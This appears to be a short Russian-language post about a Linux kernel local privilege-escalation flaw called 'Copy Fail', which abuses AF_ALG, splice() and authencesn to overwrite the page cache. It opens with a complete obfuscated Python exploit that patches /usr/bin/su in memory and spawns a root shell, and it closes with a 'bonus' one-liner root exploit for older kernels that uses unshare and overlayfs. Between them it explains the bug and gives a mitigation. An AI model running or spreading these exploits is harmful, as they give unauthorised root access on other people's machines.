Copy Fail: 732 байта до рута.
Буквально повышение прав на любой Linux тачке ядром свежее 2017 года (4.14).
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Если коротко, то это логическая ошибка в ядре Linux, накапливавшаяся годами и позволяющая непривилегированному пользователю перезаписать 4 байта в кэше страниц (
page cache) любого читаемого файла. Уязвимость проявляется на стыке трёх компонентов:1.
AF_ALG: Механизм ядра, позволяющий пользовательским программам без специальных прав обращаться к криптографическим функциям напрямую.2.
splice(): Системный вызов для высокопроизводительного копирования данных между файловыми дескрипторами. В нашем случае он передаёт страницы кэша файла /usr/bin/su в AF_ALG без их копирования.3.
authencesn: Криптографический алгоритм, который по ошибке записывает промежуточные данные за пределы выделенного ему буфера, прямо в переданные страницы кэша файла.Ситуация действительно серьёзная - уязвимость затрагивает ядра Linux, начиная с версии 4.14 (выпущена в конце 2017 года).
Из выходов вижу пока как то выпиливать или блеклистить algif_aead, что бы userspace не общался с ядром напрямую в этой операции.
Почитать поподробнее можно тут: copy.fail
P.S. в некоторых системах
/usr/bin/su нет, а вот /bin/su есть.Бонусом для до 17 года:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"